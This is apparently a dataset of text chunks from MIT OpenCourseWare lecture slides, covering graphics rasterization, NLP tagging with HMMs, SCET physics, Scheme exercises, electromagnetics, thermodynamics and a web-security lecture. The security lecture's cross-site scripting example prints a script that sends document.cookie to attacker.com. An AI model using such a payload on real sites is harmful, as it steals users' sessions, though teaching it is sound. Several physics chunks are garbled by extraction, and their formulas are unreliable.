text stringlengths 30 4k | source stringlengths 60 201 |
|---|---|
per-pixel color
© source unknown. All rights reserved. This content is
excluded from our Creative Commons license. For more
information, see http://ocw.mit.edu/help/faq-fair-use/.
• Test visibility (Z-buffer),
update frame buffer
© Khronos Group. All rights reserved. This content is
excluded from our Creative Common... | https://ocw.mit.edu/courses/6-837-computer-graphics-fall-2012/53d96abf747a3c82fd3497d2fea540f5_MIT6_837F12_Lec21.pdf |
Basic Idea: store 1/z
• z’ = 1 before homogenization
• z’=1/z after homogenization
34
Full Idea: Remap the View Frustum
• We can transform the frustum by a modified
projection in a way that makes it a square (cube in
3D) after division by w’.
view frustum
(visible part of the scene)
z
x
vie... | https://ocw.mit.edu/courses/6-837-computer-graphics-fall-2012/53d96abf747a3c82fd3497d2fea540f5_MIT6_837F12_Lec21.pdf |
Recap: Projection
• Perform rotation/translation/other transforms to put
viewpoint at origin and view direction along z axis
– This is the OpenGL “modelview” matrix
• Combine with projection matrix (perspective or
orthographic)
– Homogenization achieves foreshortening
– This is the OpenGL “projection” matrix
• ... | https://ocw.mit.edu/courses/6-837-computer-graphics-fall-2012/53d96abf747a3c82fd3497d2fea540f5_MIT6_837F12_Lec21.pdf |
, not curves
48
Edge Functions
• The triangle’s 3D edges project to line segments in
the image (thanks to planar perspective)
• The interior of the triangle is the set of points that is
inside all three halfspaces defined by these lines
49
Edge Functions
• The triangle’s 3D edges project to line segments in ... | https://ocw.mit.edu/courses/6-837-computer-graphics-fall-2012/53d96abf747a3c82fd3497d2fea540f5_MIT6_837F12_Lec21.pdf |
Compute projection for vertices, compute the Ei
Compute bbox, clip bbox to screen limits
For all pixels in bbox
Evaluate edge functions Ei
If all > 0
Framebuffer[x,y ] = triangleColor
Bounding box clipping is easy,
just clamp the coordinates to
the screen rectangle
Questions?
56
Can We Do Better?
For ever... | https://ocw.mit.edu/courses/6-837-computer-graphics-fall-2012/53d96abf747a3c82fd3497d2fea540f5_MIT6_837F12_Lec21.pdf |
per pixel when the
triangle is large
Can also zig-zag to avoid
reinitialization per scanline,
just initialize once at x0, y0
60
Questions?
• For a really HC piece of rasterizer engineering, see
the hierarchical Hilbert curve rasterizer by McCool,
Wales and Moule.
– (Hierarchical? We’ll look at that next.... | https://ocw.mit.edu/courses/6-837-computer-graphics-fall-2012/53d96abf747a3c82fd3497d2fea540f5_MIT6_837F12_Lec21.pdf |
–26, 1985). In Computer Graphics,
v19n3 (July 1985), ACM SIGGRAPH, New York, NY, 1985.
• Juan Pineda, “A Parallel Algorithm for Polygon Rasterization”,
Proceedings of SIGGRAPH ‘88 (Atlanta, GA, August 1–5, 1988).
In Computer Graphics, v22n4 (August 1988), ACM SIGGRAPH,
New York, NY, 1988. Figure 7: Image from the ... | https://ocw.mit.edu/courses/6-837-computer-graphics-fall-2012/53d96abf747a3c82fd3497d2fea540f5_MIT6_837F12_Lec21.pdf |
"clip" geometry to
view frustum, discard
outside parts
(eyex, eyey, eyez)
z=near
z axis → +
z=far
image plane
74
Clipping
• Eliminate portions of objects
outside the viewing frustum
• View Frustum
– boundaries of the image
plane projected in 3D
– a near & far
clipping plane
• User may define
addition... | https://ocw.mit.edu/courses/6-837-computer-graphics-fall-2012/53d96abf747a3c82fd3497d2fea540f5_MIT6_837F12_Lec21.pdf |
of graphics
tools, 2000.
© Oscar Meruvia-Pastor, Daniel Rypl. All rights reserved. This content is excluded from our
Creative Commons license. For more information, see http://ocw.mit.edu/help/faq-fair-use/.
78
Homogeneous Rasterization
• Idea: avoid projection (and division by zero) by
performing rasterization i... | https://ocw.mit.edu/courses/6-837-computer-graphics-fall-2012/53d96abf747a3c82fd3497d2fea540f5_MIT6_837F12_Lec21.pdf |
• Rasterizes with plane tests instead of edge tests
• Removes the need for clipping!
2D pixel
(x’, y’, 1)
3D triangle
85
Homogeneous Rasterization Recap
• Rasterizes with plane tests instead of edge tests
• Removes the need for clipping!
2D pixel
(x’, y’, 1)
3D triangle
Questions?
86
Modern Graphics Pip... | https://ocw.mit.edu/courses/6-837-computer-graphics-fall-2012/53d96abf747a3c82fd3497d2fea540f5_MIT6_837F12_Lec21.pdf |
Ray Casting
• Maintain intersection with closest object
91
Visibility
• In ray casting, use intersection with closest t
• Now we have swapped the loops (pixel, object)
• What do we do?
92
Z buffer
• In addition to frame buffer (R, G, B)
• Store distance to camera (z-buffer)
• Pixel is updated only if newz ... | https://ocw.mit.edu/courses/6-837-computer-graphics-fall-2012/53d96abf747a3c82fd3497d2fea540f5_MIT6_837F12_Lec21.pdf |
6.863J Natural Language Processing
Lecture 4: From finite state
machines to part-of-speech tagging
Instructor: Robert C. Berwick
The Menu Bar
• Administrivia:
• Schedule alert: Lab1 due next Monday (Feb
24)
• Lab 2, handed out Feb 24; due the Weds
after this – March 5
• Agenda:
• Kimmo – its use and abuse
•... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
To use able
This kind of duplication is
a litmus test of something wrong
• Duplication: no relation between the two
lexicons, but we know they’re identical
• Principle AWP
• We will see this again and again
• Usually means we haven’t carved
(factored) the knowledge at the right
‘joints’
• Solution? Usually mo... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
For every 3-Sat problem, we can find (in
poly time) a corresponding Kimmo word
recognition problem where there’s a valid
word if the 3-Sat problem was satisfiable
• If Kimmo recognition could be done in det
poly time (P) then so could 3-SAT
�
�
�
�
�
�
The reduction
arbitrary 3-SAT problem
y
(
x
(
)
... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
• Dictionary is fixed…
• # of Vowel harmony processes corresponds
to # of distinct literals
Reduce until done – formula
true
must eval to
Reduce until done: assignment
consistency
Njagalapuripuriwurluwurlu
Parsing Walpiri words
Then can be indescribable words
(for an fst)
• Can we even do all natural lang... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
data (“corpora”)
“Information retrieval”
The big picture II
• In general: 2 approaches to NLP
• Knowledge Engineering Approach
• Grammars constructed by hand
• Domain patterns discovered by human expert via
introspection & inspection of ‘corpus’
• Laborious tuning
• Automatically Trainable Systems
• Use stati... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
how do we pronounce “lead”?)
� can write regexps like Det Adj* N* over the output
� preprocessing to speed up parser (but a little
dangerous)
� if you know the tag, you can back off to it in other
tasks
� Back-off: trim the info you know at that point
An exemplar for the divide:
“tagging” text
• Input: the lead ... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
Sneaky: Introduce probabilistic models – paradigmatic
contrast investigated in Lab 2.
Why should we care?
• “Simplest” case of recovering surface,
underlying form via statistical means
• We are modeling p(word seq, tag seq)
• The tags are hidden, but we see the
words
• Is tag sequence X likely with these words? ... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
)
Each unknown tag is constrained by its word
and by the tags to its immediate left and right.
But those tags are unknown too …
Ok, what should we look at?
correct tags
Noun Prep Noun Prep Det Noun
cortege of autos through the dunes
Noun Prep Noun Prep Det Noun
Verb Det
PN
Bill directed a
PN
Adj Det
Verb Ver... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
yucky language Y
text
want to recover X from Y
Noisy channel – and prob intro
real language X
noisy channel X � Y
yucky language Y
p(X)
*
p(Y | X)
=
p(X,Y)
choose sequence of tags X that maximizes p(X | Y)
[oops… this isn’t quite correct… need 1 more step]
Noisy channel maps well to our
fsa/fst notions
... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
…
• So far, we have a plan to compute P(X,Y) – but
is this correct?
• Y= all the words in the world
• X= all the tags in the world (well, for English)
• What we get to see as input is y˛Y not Y!
• What we want to compute is REALLY this:
want to recover x˛X from y˛Y
choose x that maximizes p(X | y) so…
The rea... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
.
0
/
D
:
a
b:C/0.24
b:D/0.06
p(X)
*
p(Y | X)
=
p(X,Y)
Note p(x,y) sums to 1.
Suppose y=“C”; what is best “x”?
We need to factor in one more machine
that models the actual word sequence, y
a : a / 0 . 7
b:b/0.3
a : C / 0 . 1
.
0
/
D
:
a
restrict just to
paths compatible
with output “C”
a : C / 0 . 0 7
... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
oun Stop
0.001
Bill directed a
cortege of autos through the dunes
words Yfi
the tags are not observable & they are states of some fsa
We estimate transition probabilities between states
We also have ‘emission’ pr’s from states
(HMM)
En tout:
a Hidden Markov Model
Our model uses both bigrams &
unigrams:
tags... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
Consider special case above
• Approximation says that
| long distance call|/|distance call| » |distance call|/|distance|
• If context 1 word back = bigram
But even better approx if 2 words back: long distance___
Not always right: long distance runner/long distance call
Further you go: collect long distance_____
... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
:25] And Adam gave naines to ail feudal,
patriarchal, idyllic relations. It bas but –established
new classes, new conditions of oppression, new forme of
struggle in place of the West? The bourgeoisie keeps
more and more splitting up into two great lights;
the greater light to rule the day of my house is this
Elie... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
So: most of the time, bigram model assigns p(0) to
bigram:
p(food|want) = |want food| /|want| = 0/whatever
But means event can’t happen – we aren’t warranted
to conclude this… therefore, we must adjust…how?
Simplest idea: add-1 smoothing
• Add 1 to every cell of
• P(food | want) = |want to| ÷ |want| = 1 ÷
2931 ... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
pay up to 90 cents for chance to win $1
• Output of some computable formula?
• But then which formulas should we trust?
p(X | Y) versus q(X | Y)
p is a function on event sets
p(win | clear) ” p(win, clear) / p(clear)
weather’s
clear
Paul Revere
wins
All Events (races)
p is a function on event sets
p(win | cl... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
on May 17, … )
not exactly what we want but at least we can get a
reasonable estimate of it!
try to keep the conditions that we suspect will have
the most influence on whether Paul Revere wins
Recall ‘backing off’ in using just p(rabbit|white)
instead of p(rabbit|Just then a white) – so this is a
general method
... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
8 * 0.3 * 0.4 * 0.5 * 0.2
Tag bigram picture
p(tag seq)
Det 0.8
Det
Adj 0.3
Start
Adj
Noun
0.5
Adj 0.4
Noun
e 0.2
Stop
Start Det Adj Adj Noun Stop = 0.8 * 0.3 * 0.4 * 0.5 * 0.2
Our plan
“Markov Model”
automaton: p(tag sequence)
*
transducer: tags � words
“Unigram Replacement”
*
automaton: the obs... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
ge/0.000001
Noun:autos/0.001
Noun:Bill/0.002
Det:a/0.6
Det:the/0.4
Adj:cool/0.003
Adj:directed/0.0005
Adj:cortege/0.000001
…
sums to 1
sums to 1
Det
Det 0.8Adj 0.3
Start
Noun
0.7
Verb
Adj 0.4
Adj Noun
0.5 Noun
e 0.1
e 0.2
Prep
Stop
…
Noun:cortege/0.000001
Noun:autos/0.001
Noun:Bill/0.002
Det:a/... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
001
…
p(word seq, tag seq) = p(tag seq) * p(word seq | tag seq)
Det:a 0.48
Det:the 0.32
Start
Verb
Adj:cool 0.0009
Adj:directed 0.00015
Adj:cortege 0.000003
Prep
Det
Adj
Noun
N:cortege
N:autos
e
Stop
Adj:cool 0.0012
Adj:directed 0.00020
Adj:cortege 0.000004
Observed words as straight-line fsa
word ... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
…
the cool directed autos
p(word seq, tag seq) = p(tag seq) * p(word seq | tag seq)
Verb
Det
Adj:cool 0.0009
Det:the 0.32
Start
Prep
Adj
Noun
e
Stop
Adj:directed 0.00020
Adj
N:autos
But…how do we find this ‘best’
path???
All paths together form ‘trellis’
p(word seq, tag seq)
2
e 0 . 3
e t :t h
Star... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
:cool 0.0009
Det
o
N
u
n
:c
o
Adj
ol 0.0
0
7
Det
Det
Det
Adj
Adj:directed…
Adj
d …
Noun:autos…
Adj
e 0 . 2
Stop
c t e
d j : d ir e
Noun
Noun
A
Noun
Noun
The best path:
Start Det Adj Adj Noun Stop = 0.32 * 0.0009 …
the cool directed autos
Trellis incomplete
p(word seq, tag seq)
Lattice is missing... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
Adj Noun Stop = 0.32 * 0.0009 …
the cool directed autos
Finding the best path from start to
stop
e 0 . 3
e t :t h
Start
D
Adj:cool 0.0009
2 Det
N
o
u
n
:c
o
Adj
ol 0.0
0
7
Det
Det
Det
Adj
Adj:directed…
Adj
d …
Noun:autos…
Adj
e 0 . 2
Stop
c t e
d j : d ir e
Noun
Noun
A
Noun
Noun
• Use dynamic pr... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
,t) = viterbi(s,t) * a[s,s'] * bs’ (ot)
bigram unigram
Or as in your text…p. 179
Summary
• We are modeling p(word seq, tag seq)
• The tags are hidden, but we see the words
• Is tag sequence X likely with these words?
• Noisy channel model is a “Hidden Markov Model”:
probs
from tag
bigram
model
0.4
0.6
Star... | https://ocw.mit.edu/courses/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003/53fd409787f433f1a014a1ad40fe50ff_lecture4bw_03.pdf |
11.3 Massive Gauge Boson Form Factor & Rapidity Divergences 12 MORE SCETI APPLICATIONS
then we may move all usoft wilson lines into the usoft part of the operator yielding
Q = [h Γ Y T aY †h(b)] [ξ W ΓlC8(P +)T aW †ξ(u)].
n,p
v
1,5
8
(c) 1,5
v
h
(d)
n,p
(11.8)
Matching this SCETI result onto SCETII by the replace... | https://ocw.mit.edu/courses/8-851-effective-field-theory-spring-2013/540919ec7e9974535c8c3d20ffc43448_MIT8_851S13_MoreSCETIAppli.pdf |
able to achieve this factorization because with B, D purely soft and π purely collinear there are
no contractions between soft and collinear fields. So we find that our final factorization result is
(cid:104)πD| HW |B(cid:105) = iN ξ(ω0, µ)
(cid:90)
1
0
C(2Eπ(2x
− 1), µ)φπ(x, µ) + O(Λ/Q)
(11.13)
where ξ(ω0, µ) is the Is... | https://ocw.mit.edu/courses/8-851-effective-field-theory-spring-2013/540919ec7e9974535c8c3d20ffc43448_MIT8_851S13_MoreSCETIAppli.pdf |
sγ
12.1 B → Xsγ
12 MORE SCETI APPLICATIONS
(ROUGH) In this section we treat the incluzive weak radiative decay B → Xsγ. This decay is defined
by the effective Hamiltonian
4GF
H = − √ VtbVts
2
∗ C7O7, O7 =
e
16π2
mbsσµν F µν PRb
(12.1)
1
with F µν the electromagnetic field tensor and PR = (1 + γ5). The decay is ... | https://ocw.mit.edu/courses/8-851-effective-field-theory-spring-2013/540919ec7e9974535c8c3d20ffc43448_MIT8_851S13_MoreSCETIAppli.pdf |
2
n¯
2
µ
µ
Defining our endpoint region by
gives us a mass squared scale of
mb − Eγ ≤ ΛQCD
2
Λ
2
2
pX c mbΛ = m
b mb
= mb λ2
2
(12.4)
(12.5)
(12.6)
(12.7)
(12.8)
where in the last line we took
Taking mb as Q it is clear that this process is described by SCETI.
Specifically, X will be represented by collinear ... | https://ocw.mit.edu/courses/8-851-effective-field-theory-spring-2013/540919ec7e9974535c8c3d20ffc43448_MIT8_851S13_MoreSCETIAppli.pdf |
1)
78
12.1 B → Xsγ
12 MORE SCETI APPLICATIONS
where in the second line we used the label momentum conservation to set P = mb and P⊥ = 0. Inserting
this result into (12.3), we may write
4Eγ
mb
3 T (Eγ ) ≡ H(mb, µ)Teff(Eγ , µ)
where
where
(cid:90)
Teff = i
This gives us a hard amplitude of
d4x ei(m n¯
b
2 − )·x... | https://ocw.mit.edu/courses/8-851-effective-field-theory-spring-2013/540919ec7e9974535c8c3d20ffc43448_MIT8_851S13_MoreSCETIAppli.pdf |
1)
(cid:90)
(cid:90)
(cid:90)
(cid:90)
d4x
4x
d
= −
=
1
2
d4k
(2π)4 ei(mb
4k
d
(2π)4 ei(mb
¯n
2 −q−k)·x (cid:10)Bv
(cid:12)
(cid:12) T[hvY ](x)PRγ⊥
µ
⊥PL[Y †hv](0) (cid:12)
γµ
(cid:12)Bv
(cid:11) JP (k)
/n
2
¯n
2 −q−k)·x (cid:10)Bv
(cid:12) T[hvY ](x)[Y †hv](0) (cid:12)
(cid:12)
(cid:12)Bv
(cid:11) JP (k),
where we defi... | https://ocw.mit.edu/courses/8-851-effective-field-theory-spring-2013/540919ec7e9974535c8c3d20ffc43448_MIT8_851S13_MoreSCETIAppli.pdf |
− (cid:10)Bv
2 l+x− (cid:10)Bv
(cid:10)Bv
e− i
e− i
(cid:90)
(cid:12)
(cid:12) Tex− n
2 ·∂[hvY ](0)[Y †hv](0) (cid:12)
(cid:12)Bv
(cid:11)
(cid:12)
(cid:12) T[hvY ](0)e−x− n
2 ·∂[Y †hv](0) (cid:12)
(cid:12)Bv
(cid:11)
(cid:12)
(cid:12) ThvY e
ix−
2 n·∂Y †hv
(cid:12)
(cid:12)Bv
(cid:11)
(cid:12) Thvei x−
(cid:12)
2 (in·... | https://ocw.mit.edu/courses/8-851-effective-field-theory-spring-2013/540919ec7e9974535c8c3d20ffc43448_MIT8_851S13_MoreSCETIAppli.pdf |
3)(cid:122)
(cid:124)
p2∼m2 Hard
b
(cid:90) Λ
2Eγ −mb
dl+
S(l+)
(cid:124) (cid:123)(cid:122) (cid:125)
p2∼Λ2 Usoft
J(l+ + mb − 2Eγ)
(cid:125)
(cid:123)(cid:122)
(cid:124)
∼mbΛ Collinear
p2
(12.24)
12.2 Drell-Yan: pp → Xl+l−
(ROUGH) Our final example will be the Drell-Yan (DY) process pp¯ → Xl+l− . This is a protype LHC... | https://ocw.mit.edu/courses/8-851-effective-field-theory-spring-2013/540919ec7e9974535c8c3d20ffc43448_MIT8_851S13_MoreSCETIAppli.pdf |
b → 0, ξa, b → 0
·Isolated:
2
p >> q2
x
τ → 0
(12.25)
(12.26)
(12.27)
(12.28)
(12.29)
(12.30)
(12.31)
We now analyze these specific processes in detail.
Inclusive In this case this process represents an SCETI problem of hard-collinear factorization. we have
80
12.2 Drell-Yan: pp → Xl+l−
12 MORE SCETI APPLICATI... | https://ocw.mit.edu/courses/8-851-effective-field-theory-spring-2013/540919ec7e9974535c8c3d20ffc43448_MIT8_851S13_MoreSCETIAppli.pdf |
xb
dξb
ξ
b
(cid:33)(cid:35)
ΛQCD
(cid:112)
q2
.
H incl
ij
(cid:18)
a xb
x
,
ξb
ξa
(cid:19)
, q2, µ fi(ξa, µ)fj(ξb, µ)
(12.34)
(12.35)
• As a last important caveat, we not that Glauber Gluons cancel out at leadind order. However,
proving this result is out of the scope of our current discussion.
Threshold Limit In the... | https://ocw.mit.edu/courses/8-851-effective-field-theory-spring-2013/540919ec7e9974535c8c3d20ffc43448_MIT8_851S13_MoreSCETIAppli.pdf |
:15)a
na · pk
(cid:88)
=
k(cid:15)a
Ek(1 + tanh Yk)e−2Yk
(12.37)
(12.38)
We expect the plus momenta for n- collinear radiation to be small. We find that this is indeed the case
becuase
B+ ≤ Qe−2Y ωt << Q
(12.39)
and there is an identical expression for B+ . For the n-collinear proton (a) and jet (a), we do not merely... | https://ocw.mit.edu/courses/8-851-effective-field-theory-spring-2013/540919ec7e9974535c8c3d20ffc43448_MIT8_851S13_MoreSCETIAppli.pdf |
Introduction to MATE-CON
Week 3 Outline
Required Reading:
McManus, H. L., SSPARC Book Material for Lecture 3.
Simple trade space analyses:
Spaulding, T., “MATEing: Exploring the Wedding Tradespace”
McManus, H. L. and Schuman, T. E., “Understanding the Orbital Transfer Vehicle Trade
Space,” AIAA Paper 2003-6370, ... | https://ocw.mit.edu/courses/16-892j-space-system-architecture-and-design-fall-2004/5413e7ff169d486aadeb0d2d41e17843_03000outline3v3.pdf |
draw single attribute utility curves for them
3) Create a design vector
4) Model the relation between the design vector and the attributes
5) Evaluate the relationship for a range of designs, and use the utility curves to find
the single attribute utilities for the designs. You may wish to use a weighted sum
to fi... | https://ocw.mit.edu/courses/16-892j-space-system-architecture-and-design-fall-2004/5413e7ff169d486aadeb0d2d41e17843_03000outline3v3.pdf |
software
studio
CSRF,
revisited
Daniel Jackson
1 cross site scripting (XSS)
A Fictional Example
on Facebook, attacker posts this on wall:
<script>
window.location = ‘http://attacker.com/steal?cookie = ‘ + document.cookie
</script>
now, when other user displays Facebook page...
› script sends her cookie... | https://ocw.mit.edu/courses/6-170-software-studio-spring-2013/5442e3fc42355088ec9b137f8afaf699_MIT6_170S13_56-sec-rev.pdf |
CSRF: of client
5 standard CSRF mitigations
don’t stay logged in!
challenge/response
› CAPTCHA, password reentry
› inconvenient for client
secret session token
› add it to all URLs (but token is leaked)
› put in hidden form field (then only POSTs)
› “double submit”: token in cookie and form
<form action="/t... | https://ocw.mit.edu/courses/6-170-software-studio-spring-2013/5442e3fc42355088ec9b137f8afaf699_MIT6_170S13_56-sec-rev.pdf |
, port: no query strings or full path
› missing header (old browser) ≠ null value (hidden)
cross-origin request sharing (CORS)
› browser will also block cross-origin requests, using SOP
› CORS lets server tell browser that some origins are OK
10 MIT OpenCourseWare
http://ocw.mit.edu
6.170 Software Studio
Spring ... | https://ocw.mit.edu/courses/6-170-software-studio-spring-2013/5442e3fc42355088ec9b137f8afaf699_MIT6_170S13_56-sec-rev.pdf |
6.090, IAP 2005—Lecture 2
1
MASSACHUSETTS INSTITUTE OF TECHNOLOGY
Department of Electrical Engineering and Computer Science
6.090—Building Programming Experience
IAP 2005
Lecture 2
Scheme
1. Basic Elements
(a) selfevaluating expressions whose value is the same as the expression.
(b) names Name is looked up... | https://ocw.mit.edu/courses/6-090-building-programming-experience-a-lead-in-to-6-001-january-iap-2005/547448d9ad31cd5804ba1164ec680b23_lec2.pdf |
of the last one is returned.
6.090, IAP 2005—Lecture 2
Problems
1. Evaluation For each expression:
(a) Write the type of the expression
2
(b) Write your guess as to the expression’s return value.
If the expression is erroneous
simply indicate “error” for the value.
If the expression returns an unspecified va... | https://ocw.mit.edu/courses/6-090-building-programming-experience-a-lead-in-to-6-001-january-iap-2005/547448d9ad31cd5804ba1164ec680b23_lec2.pdf |
input is negative,
and 0 if it’s input is 0.
(define sign
6.090, IAP 2005—Lecture 2
3
(d) Given a margin width m, which is both the top, bottom, left, and right margin of the
page, write a procedure that computes the ”usable” (non margin) area of the 8.5in by
11in sheet of paper.
(usablepage 0)
;Value: 93.5
(... | https://ocw.mit.edu/courses/6-090-building-programming-experience-a-lead-in-to-6-001-january-iap-2005/547448d9ad31cd5804ba1164ec680b23_lec2.pdf |
(postiveroot 1 2 1)
;Value: 1
(positiveroot 3 1 3)
;Value: "complex roots"
(define postiveroot
6.090, IAP 2005—Lecture 2
3. BiggieSizing!
4
¨
Suppose we’re designing an pointofsale and ordertracking system for Wendy’s1 . Luckily
the UberQwuick drive through supports only 4 options: Classic Single Combo ... | https://ocw.mit.edu/courses/6-090-building-programming-experience-a-lead-in-to-6-001-january-iap-2005/547448d9ad31cd5804ba1164ec680b23_lec2.pdf |
otherwise.
(d) Write a procedure named comboprice which takes a combo and returns the price of
the combo. Each patty costs $1.17, and a biggiesized version costs $.50 extra overall.
16.090 and MIT do not endorse and are not affiliated with Wendy’s in any way. They merely capitalize on the
pleasant way “biggiesize”... | https://ocw.mit.edu/courses/6-090-building-programming-experience-a-lead-in-to-6-001-january-iap-2005/547448d9ad31cd5804ba1164ec680b23_lec2.pdf |
MIT OpenCourseWare
http://ocw.mit.edu
6.013/ESD.013J Electromagnetics and Applications, Fall 2005
Please use the following citation format:
Markus Zahn, Erich Ippen, and David Staelin, 6.013/ESD.013J
Electromagnetics and Applications, Fall 2005. (Massachusetts Institute
of Technology: MIT OpenCourseWare). http://o... | https://ocw.mit.edu/courses/6-013-electromagnetics-and-applications-fall-2005/547de84f22bc0a4035f4a285cd385afc_lec1.pdf |
8)∫ H ds = ∫ J da
i
i
C
S
6.013 Electromagnetics and Applications
Prof. Markus Zahn
Lecture 1
Page 1 of 7
EQS circuit form: i = C
dv
dt
(capacitor)
3. Gauss’ Law for Electric Field
(cid:118)∫ ε0E da
i
= ∫ ρ dV
S
V
≈ 8.854 ×10-12 farads/meter
ε0 ≈
10-9
36π
1
≈
ε µ0 0
free space)
c =
×3 108 meters/s... | https://ocw.mit.edu/courses/6-013-electromagnetics-and-applications-fall-2005/547de84f22bc0a4035f4a285cd385afc_lec1.pdf |
S
ε E i da = ε E 4 π r = q
2
0 r
0
E =
r
q
4π ε0r2
T sin θ = f =
c
2
q
4π ε0r
2
T cos θ = Mg
tan θ =
2
q
4π ε0r Mg
2
=
r
2l
6.013 Electromagnetics and Applications
Prof. Markus Zahn
Lecture 1
Page 3 of 7
1
2
2π ε0r
⎡
q = ⎢
l
⎣
3
⎤
Mg
⎥
⎦
III. Faraday Cage
(cid:118)∫ J dai = i = -
S
d
... | https://ocw.mit.edu/courses/6-013-electromagnetics-and-applications-fall-2005/547de84f22bc0a4035f4a285cd385afc_lec1.pdf |
� v
p
p
p
C
L
C = 25 µ f, v p = 4 k V, N 1 = 50, a ≈ 7 c m
L1 ≈ 0.1
mH
ip ≈ 2000 A, ω ≈ 20 x 10 / s ⇒ f =
3
ω
2π
≈ 3k Hz
Hp ≈ 2.3 x 10 A / m ⇒ Bp = µ0 Hp ≈ 0.3 Teslas ≈ 3000 Gauss
5
2. Electrical Breakdown in Single Turn Coil with Small Gap
R
Bp
∆
E ≈ ⎨
⎧0
⎩E0
Inside Metal Coil
Gap
Small
∆
6.013 Ele... | https://ocw.mit.edu/courses/6-013-electromagnetics-and-applications-fall-2005/547de84f22bc0a4035f4a285cd385afc_lec1.pdf |
E ds
≈
(cid:118)∫ i
Cb
π2 aE φ = −
∫
B da
i
≈ −π a
2 dBp
dt
d
dt
Sa
2
= πa B mω sin ωt
J = σ E = −
φ
φ
σ a dBp
dt
2
=
σa
2
B ω sin ωt
m
F = J x Hµ
0
,
∫
f = F dV
V
=
∫ J x µ0 H dV
V
Force per unit
volume
total force
Kφ
Jφ
≈ ∆ = H ⇒ H = − ∆
− r
Jφ
r
F
= × µ H = J i × µ H i = −µ J H i
r z
0... | https://ocw.mit.edu/courses/6-013-electromagnetics-and-applications-fall-2005/547de84f22bc0a4035f4a285cd385afc_lec1.pdf |
µ0 (π∆σ a2ωB )2
4π
m
sin
2 ωt
) (
= 10−7 ⎡π 2 × 10 −3 3.7 × 107
)
.07
) (
⎣ (
= 4.7 × 10 6 sin 2 ωt
2
20, 000 0.3 ⎤
)⎦
(
2
sin 2 ωt
Mg = (0.08)9.8 ≈ 0.8 Newtons
f
max ≈
Mg
4.7 × 10 6
0.8
≈ 5.9 × 10 6
Neglecting losses:
1
2
1
2
2
CV = Mv (t = 0 ) = Mgh
2
+
v(t = 0 ) =
+
C
M
V
µ ,
C = 25 f
=M ... | https://ocw.mit.edu/courses/6-013-electromagnetics-and-applications-fall-2005/547de84f22bc0a4035f4a285cd385afc_lec1.pdf |
Lecture # 2
Thermodynamics and
Tools to Analyze Conversion Efficiency
Ahmed Ghoniem
Feb 5, 2020
• Conservation laws
• Limits on conversion
• Availability
• Efficiency
Ghoniem, AF Energy Conversion Engineering, Chapter II, Thermodynamics.
© by Ahmed F. Ghoniem
1
RENEWABLES
S... | https://ocw.mit.edu/courses/2-60j-fundamentals-of-advanced-energy-conversion-spring-2020/54a791b898a31befeea178f796efcd9c_MIT2_60s20_lec2.pdf |
70% for TF / T * = 8
ε(T, p, X i ) = εo (T) +
⎛
